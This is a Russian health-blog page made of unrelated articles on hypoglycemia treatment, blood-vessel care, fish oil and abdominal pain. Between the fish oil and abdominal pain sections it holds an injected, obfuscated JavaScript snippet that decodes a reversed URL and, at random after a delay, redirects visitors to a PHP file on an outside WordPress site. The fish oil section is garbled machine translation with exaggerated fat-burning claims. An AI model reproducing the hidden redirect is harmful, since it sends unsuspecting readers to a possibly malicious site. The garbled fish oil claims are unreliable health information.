Category: Без рубрики

Гипогликемия — снижение содержания глюкозы в крови менее 3,33 ммоль/л. Гипогликемия может возникать у здоровых лиц через несколько дней голодания или через несколько часов после нагрузки глюкозой, что приводит к повышению уровня инсулина и снижению уровня глюкозы при отсутствии симптомов гипогликемии.
Клинически гипогликемия проявляется при снижении уровня глюкозы ниже 2,4–3,0 ммоль/л.

Ключ к диагностике — триада Уиппла:

• нервно – психические проявления при голодании;
• глюкоза крови менее 2,78 ммоль/л;
• купирование приступа пероральным или внутривенным введением р – ра декстрозы.

ТЯЖЕСТЬ ГИПОГЛИКЕМИИ НЕ ЗАВИСИТ ОТ УРОВНЯ САХАРА.

Виды:

1. Лёгкая гипогликемия — когда человек в сознании и может самостоятельно купировать гипогликемию.
2. Тяжелая гипогликемия — когда человек в сознании, но для купирования гипогликемии требуется помощь посторонних
3. Гипогликемическая кома — потеря сознания при гипогликемии

В случае легкой гипогликемии (содержание глюкозы в крови 2,7-3,3 ммоль/л), вполне достаточно
а) 12-15 г простого углевода (d-глюкоза);
б) 120 г несладкого фруктового сока
в) недиетического безалкогольного напитка.

При более выраженных симптомах гипогликемии:
– 12-15-20 г простого углевода
– позже — 15-20 г (хлеб)

Оптимальным купирования гипогликемии является следующий алгоритм: при симптомах гипогликемии измерить сахар крови и подтвердить наличие гипогликемии, принять 12-15 грамм быстрых углеводов, через 15 минут вновь проконтролировать сахар крови и если он ниже целевых значений, то снова принять 12-15 грамм быстрых углеводов и опять через 15 минут проконтролировать сахар крови. Алгоритм повторяется до полной нормализации сахара крови.

Больным, которые находятся без сознания, никогда не следует давать жидкости и другие продукты питания, т.к. это может привести к нежелательным последствиям, таким как асфиксия.

В качестве первой помощи в подобных ситуациях, нужно ввести внутримышечно 1 мг глюкагона( глюкагон действует на печень, если помните, вследствие чего вызывает повышение содержания глюкозы в крови).
В условиях больницы — внутривенное введение 40 % глюкозы.

Инструкция по применению таблеток и гелей, содержащих декстрозу (d-глюкоза), и глюкагона должна быть существенной частью подготовки лиц, проживающих с больными диабетом, получающими инсулин.

Ослабление, истощение сосудов приводит к нарушению кровообращения и обмена веществ, возникновению множества заболеваний. Поэтому очень важно заботиться о сосудах еще в молодом возрасте, чтобы предотвратить неприятности в будущем. И, прежде всего, следует заняться укреплением сосудов – повышением их тонуса. 

Факторы, приводящие к ослаблению сосудов

Одна из основных причин ослабления сосудов – стрессы и нервные расстройства. Это происходит потому, что из-за сбоев нервной системы сосуды получают неправильные команды, и в них не поступают активные вещества, регулирующие сосудистый тонус. 
«Врагами» сосудов являются алкоголь и никотин, прием которых оказывает на них чрезмерные нагрузки, вызывает разрушение их стенок. 
Немаловажную роль играет и рацион питания. Употребление жирной, соленой и острой пищи приводит к отложению холестерина в сосудах, образованию так называемых холестериновых бляшек. 
Малоактивный образ жизни, который присущ сегодня многим людям, также оказывает неблагоприятное действие на сосуды. При отсутствии физической активности происходит застой крови и чрезмерное расслабление сосудов. 

Признаки «плохих» сосудов: 

– быстрая утомляемость; 
– частые головокружения, слабость; 
– метеочувствительность; 
– появление «мушек» перед глазами; 
– нестабильное артериальное давление; 
– плохой сон; 
– приступы сердцебиения; 
– онемение, покалывание конечностей; 
– холодные ноги и руки; 
– одышка даже при малых нагрузках и т.д. 

Укрепление сосудов 

Оздоровление сосудов нуждается в комплексном подходе. Для некоторых людей это будет означать полное изменение образа жизни, но результат стоит этого – восстановить сосуды возможно, лишь прилагая к этому определенные усилия. 

Спорт 

Прежде всего, следует включить в распорядок дня, каким загруженным он ни был, физические упражнения. Утренние пробежки, занятия йогой, танцами, плаванием – все это будет отличной тренировкой для сосудов. Нагрузки должны быть умеренными, нельзя допускать переутомления и перенапряжения. 

Рацион питания 

Ежедневный рацион должен включать большое количество фруктов и овощей. К минимуму следует свести употребление жирных и жареных блюд, кофеинсодержащих напитков. Важно не переедать, кушать небольшими порциями 4 -5 раз в день. Также необходимо соблюдать питьевой режим – употреблять не менее 1,5 литра жидкости в сутки. 

Для повышения тонуса сосудов полезно регулярно употреблять такие продукты: 

– чеснок; 
– орехи; 
– курага; 
– чернослив; 
– изюм. 

Водные процедуры 

Отлично укрепляют сосуды походы в баню и сауну, обливания холодной водой. Также для закаливания сосудов можно ежедневно принимать контрастный душ. При этом следует учитывать, что зимой контрастный душ лучше заканчивать горячей водой, а летом – холодной. 

Очищение сосудов 

Очистить сосуды можно, если вместо воды употреблять отвар из плодов шиповника и измельченной хвои. Готовится отвар таким образом: 
3 столовые ложки плодов шиповника и 5 столовых ложек хвои залить 3 стаканами воды. 
Довести до кипения и варить на слабом огне 10 минут. Настоять в течение ночи в теплом месте, процедить. 
Весь отвар разделить на несколько порций и выпить в течение дня. Курс очищения – 4 месяца. 

Положительные эмоции и отдых 

Уделяйте больше внимания регулярному правильному отдыху: сон не менее 8 часов, прогулки на свежем воздухе при любой погоде, путешествия, хобби. Оптимистический жизненный настрой, хорошее настроение, стремление к здоровой и полноценной жизни – неотъемлемые условия нормализации состояния сосудов.

Что такое рыбий жир?

Уровень жира производится на промышленных масштабах из печени свежих рыб преимущественно Щепки. Жидкий жир содержит большое количество легкоусвояемых ненасыщенных жирных кислот в частности важнейших омега-3 жирных кислот (ЭПК и ДГК), которые являются “постоянными” в рационе человека потому что наш организм не способен их синтезировать самостоятельно. Также рыбы жир содержит иод фосфор витамин Е и большое количество витамина D и А.

Добавки рыбьего жира представлены в рынке в жидком виде и в желатиновых капсулах. Рыбий жир в жидкой форме гораздо дешевле чем в капсулах однако капсулы удобны в дозировке и не имеют неприятного вкуса.

Общая польза рыбьего жира

Польза рыбьего жира очень широкая (от предотвращения болезней сердца к похудения и сжигания подкожный жира) что подтверждено многими медицинскими исследованиями. Омега-3 жирные кислоты содержащиеся в рыбьем жире играют важную роль в клеточном росте и развитии. Они в основном концентрируются в головном мозге человека и очень важны для когнитивных (внимание память мышление) и поведенческих функций.

Краткий список полезных свойств рыбьего жира

1.Сниження депрессии и чувства тревоги
2.Сниження артериального давления
3.Уменьшает негативное влияние стрессовых
4.Бореться с сухой кожей и помогает в лечении псориаза
5.Снижае риск хронических заболеваний болезней сердца артриты и даже рака
6.Уменьшает вирусные процессы во всем организме
7.Снижае уровень триглицерив (форма хранения жиров в организме человека)
8.Помагае лечить синдром дефицита внимания и гиперактивности
9. Активизирует работу ген отвечает за зжигання жира
10.Способствует синтеза белка в мышечных клетках

Рыбий жир для похудения и зжигання жира

Кроме общей пользы для здоровья рыбий жир может помочь вам похудиты и сжечь лишние жиры. А если именно вы человек с более чем 15% жира в организме или женщины с более чем 25%, то рыбий жир поможет вам зарядить жир и быстро похудиты. Как определить свой процент жира в организме читайте – здесь.

Жир рыб включает жиры семейства омега 3 принципиально отличаются от того же солнечного масла. Организм использует их как топливо и не умеет хранить запас. Омега-3 жирные кислоты из рыбьего жира имеют большой и недооценен жиросжигаючий потенциал. Омега-3 содержат ейкозапентаеновую (ЭПК) докозагеексаеновую (ДГК) и линоленовой кислоты (ЛНК). По словам медиков и ученых эти жирные кислоты могут помочь в разрушении жиров (липолиза) одновременно уменьшая место для хранения жиров (липогенез). Иными словами регулярное потребление рыбьего жира помогает включить в работу жиророзпилюючи гены и “отключать” гены которые накапливают жир.

Американский журнал клинического питания в 2007 году опубликовал исследование влияния рыбьего жира на распад жиров в организме. Результаты исследования подтвердили что рыбий жир способен самостоятельно уменьшить жировую массу тела человека снизить количество триглицеридов и уровень сахара в крови. Когда уровень сахара в крови высок в организме вырабатывается инсулин который предотвращает потерю жира. После снижения уровня сахара рыбий жир помогает предотвратить взрыв инсулина и оказывает дальнейшую помощь в сжигании жира.

Включение рыбьего жира в рацион питания помогает нашему организму изымать энергию из всех видов жиров включая уже накопленные под кожу. Это является причиной парадокса потребляете жиры омега 3 вы ускоряете похудения.

Рыбий жир для роста мышц

Жидкий жир также может помочь увеличить мышцы. По данным исследования опубликованного в журнале Международного общества спортивного питания в 2010 году усиление мышечной массы были замечены после шести недель приема препаратов из рыбьего жира (3-4 грамма в сутки). Полученные результаты свидетельствовали рыбий жир положительно влияет на синтез белков в мышечных клетках также было замечено и увеличение самих клеток.
Сколько нужно принять рыбьего жира в день

Есть много разных представлений о том сколько рыбьего жира нужно принять в день. Американская Ассоциация Сердца рекомендует низкие дозы – от 0,5 до 2 г в сутки тогда как другие рекомендуют принимать 1 г на каждый процент подкожный жира. Однако умеренный и наиболее оптимальный прием это – 1- 2 г рыбьего жира с пищей 2 3 раза в день.

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tomach pain – woman having abdominal pain” width=”300″ height=”225″ />

Боль в животе – одна из наиболее частых жалоб больных. Он может быть совершенно разным – ведь в брюшной полости рядом друг с другом находятся множество органов: желудок, печень, желчный пузырь, поджелудочная железа, кишечник, а совсем рядом – почки и яичники. Каждый из них болит по-своему и требует своего лечения. В некоторых случаях можно обойтись домашними средствами, а иногда нужно срочно вызывать скорую неотложную помощь.

Как можно описать боль в животе?

Можно выделить два наиболее распространенных вида боли:

Cпастичний (судорожный) боль, так называемая колика. Обычно он проявляется волнообразными приступами, интенсивность которых увеличивается или уменьшается. Боль обусловлена деформациями в кишечнике (растяжениями или сжаттям), и, как правило, является следствием гиперактивной перистальтики. Такая боль вызывает избыточное газообразование в кишечнике, инфекционные воспалительные процессы или стресс.

Самые опасные и неприятные состояния объединены в понятие «острый живот» (острый панкреатит, перитонит). Боль чаще всего интенсивный, разлитой, общее самочувствие – плохое, нередко поднимается температура, открывается сильная рвота, мышцы передней брюшной стенки напряжены. В этой ситуации нельзя давать какие обезболивающие лекарства до осмотра врача, а срочно вызывать скорую помощь и госпитализироваться в хирургический стационар. Аппендицит на ранних стадиях обычно не сопровождается очень сильными болями. Наоборот, боль – тупая, но довольно постоянная, справа внизу живота (хотя начинаться может слева вверху), обычно при этом – небольшой подъем температуры, может быть однократная рвота. Самочувствие может ухудшаться со временем, и в результате появятся признаки «острого живота».

Постоянный боль в животе. Этот тип боли в животе характеризуется относительно постоянным и устойчивым течением. Пациенты часто описывают его как «горение в животе», острую, режущую или «голодную» боль. Такой вид боли является следствием серьезных воспалений органов брюшной полости, язвенных поражений, приступов желчнокаменной болезни, абсцессов или острого панкреатита.

Другой тип боли – хронические боли, которые периодически то исчезают, то появляются вновь. Такие боли обычно сопровождают какие-то из нижеперечисленных состояний (хронические заболевания или инфекции желудочно-кишечного тракта). Если отмечаются такие боли, следует обратиться к врачу и быть готовыми ответить на следующие вопросы:

• связан боль с пищей (то есть возникает он всегда до или всегда после еды, или только после какой-то определенной пищи)
• как часто возникают боли, насколько они сильны;
• связаны боли с физиологическими отправлениями, а у старших девочек с месячными;
• где обычно болит, есть ли какая конкретная локализация боли, боль куда-то распространяется; желательно описать характер боли, если ребенок уже может это сделать («тянет», «жжет», «колет», «режет» и т.д.);
• меры обычно помогают при болях (лекарства, клизма или газоотводная трубка, массаж, покой, холод, тепло и т.д.).

Лучше всего, если к врачу вы придете, уже имея на руках результаты анализа на дисбактериоз и УЗИ органов брюшной полости.

Невротические боли. Существуют и такие боли в животе, которые не связаны с заболеваниями кишечника или других внутренних органов – невротические боли. Человек может жаловаться на боли, когда он чего-то боится или не хочет, или после каких-то психоэмоциональных стрессов, потрясений. При этом, совсем не обязательно, что она симулирует, живот действительно может болеть, иногда даже боли очень сильные, напоминающие «острый живот». Но при обследовании ничего не находят. В этом случае нужно проконсультироваться у психолога или невропатолога. Можно зайти и к кардиологу, если боли в животе являются частью вегето-сосудистой дистонии, при этом у человека, кроме боли в животе может быть потливость, утомляемость, сердцебиение.

Часто боль в животе сопровождается другими неприятными симптомами, такими как потливость, тошнота, рвота, урчание (особенно при принятии горизонтального положения или изменения позиции). Симптомы являются важными факторами, указывающими на нарушения функции кишечника, желудка, желчных путей, воспалительных процессов в поджелудочной железе. Озноб и лихорадка обычно сопровождают опасные кишечные инфекции или закупорку желчных протоков. Изменение цвета мочи и кала также является признаком блокады желчных путей. При этом моча, как правило, приобретает темный цвет, а кал светлеет. Интенсивный судорожный боль, сопровождаемый черным или кровянистым стулом, указывает на наличие внутреннего кровотечения и требует немедленной госпитализации.

Как долго длится боль?

Обычно боль, которая длится от нескольких секунд до минуты, не является серьезной причиной для беспокойства.

Боль, продолжительность которого составляет часа или даже дни, является серьезным симптомом, и Вы должны как можно скорее пройти медицинское обследование.

Когда могут появляться боли в животе?

Боль в животе может появиться спонтанно в любое время. Рассмотрим некоторые, наиболее частые случаи проявления синдрома абдоминальной боли.

Интенсивная боль в животе, которая заставляет Вас просыпаться ночью. Он может появляться до или после еды. Боль часто может предшествовать опорожнению кишечника, или проявляется сразу после акта дефекации. «Режущий» боль, характерная при язве кишечника, проявляется непосредственно перед приемом пищи. Интенсивная боль, обусловлен желчнокаменной болезнью, как и боль при панкреатите, обычно развивается после еды. Наиболее частыми причинами, определяющими абдоминальная боль, является синдром раздраженного кишечника и дискинезия желчных путей. Для людей, страдающих синдромом раздраженного кишечника характерно появление боли сразу после еды, что сопровождается вздутием живота, усилением перистальтики, урчанием, диареей или сжижения стула. Боли стихают после дефекации и прохождения газов и, как правило, не беспокоят по ночам. Болевой синдром при синдроме раздраженного кишечника не сопровождается потерей массы тела, лихорадкой, анемией.

Воспалительные заболевания кишечника, сопровождающихся поносом (диареей), также могут вызывать спазм и боли обычно до или после опорожнения кишечника. Среди больных психогенными нарушениями желудочно-кишечного тракта боль в животе как ведущий симптом встречается в 30% случаев.

Где у Вас болит?

Место локализации боли является одним из главных факторов диагностики заболевания. Боль, сосредоточен в верхних отделах брюшной полости обычно вызвана нарушениями в пищеводе, кишечнике, желчевыводящих путях, печени, поджелудочной железе. Боль, возникающая при желчекаменной болезни или воспалительных процессах в печени, локализуется в верхнем правом отделе брюшины; (Может иррадиировать под правую лопатку). Боль при язве и панкреатите, как правило, иррадиирует через всю спину. Боли, вызванные нарушениями в тонком отделе кишечника, конечно сосредоточены вокруг пупка, тогда как боли, обусловленные толстым кишечником, распознаются в середине брюшины и ниже пупка. Тазовые боли обычно ощущаются как сдавливание и дискомфорт в ректальной области. При синдроме абдоминальной боли, боль, как правило, небольшой интенсивности, сосредоточена в верхней средней части брюшной полости, или в левом нижнем ее отделе. Болевой синдром характеризуется многообразием проявлений: от диффузных тупых болей до острых, спазматических; от постоянных до пароксизмов болей в животе. Продолжительность болевых эпизодов – от нескольких минут до нескольких часов. В 70% случаев боль сопровождается нарушением моторики кишечника (понос или запор).

Какие причины вызывают боль?

Наиболее распространенной причиной является пища, которую мы употребляем. Раздражение пищевода (боли, давящие) вызывает соленая, слишком горячая или холодная пища. Некоторые продукты (жирная, богатая холестерином пища) стимулируют образование или движение желчных камней, вызывая приступы желчных колик. Не секрет, что многие люди имеют непереносимость определенного рода продуктов, например, молока и его молочного сахара (лактозы). Употребление их в пищу приводит к спастическим болям в животе, вздутие живота и поносов.

В каком случае необходимо посетить врача?

При положительном ответе хотя бы на один из следующих вопросов, Вам следует обратиться к врачу-гастроэнтерологу:

• Вы часто чувствуете боль в животе? Stomach pain – woman having abdominal pain
• Влияет прочувствованный боль на Вашу повседневную активность и выполнение рабочих обязанностей?
• Вы наблюдаете потерю веса или снижение аппетита?
• Ваша боль сопровождается рвотой или тошнотой?
• Наблюдаете ли Вы изменения в привычках кишечника?
• Или просыпаетесь вы от интенсивной боли в животе?
• Страдали ли Вы в прошлом от таких заболеваний как язва, желчекаменная болезнь, воспалительные заболевания кишечника, хирургические вмешательства?
• Имеют принятые Вами лекарства побочных эффектов со стороны желудочно-кишечного тракта (аспирин, нестероидные противовоспалительные)?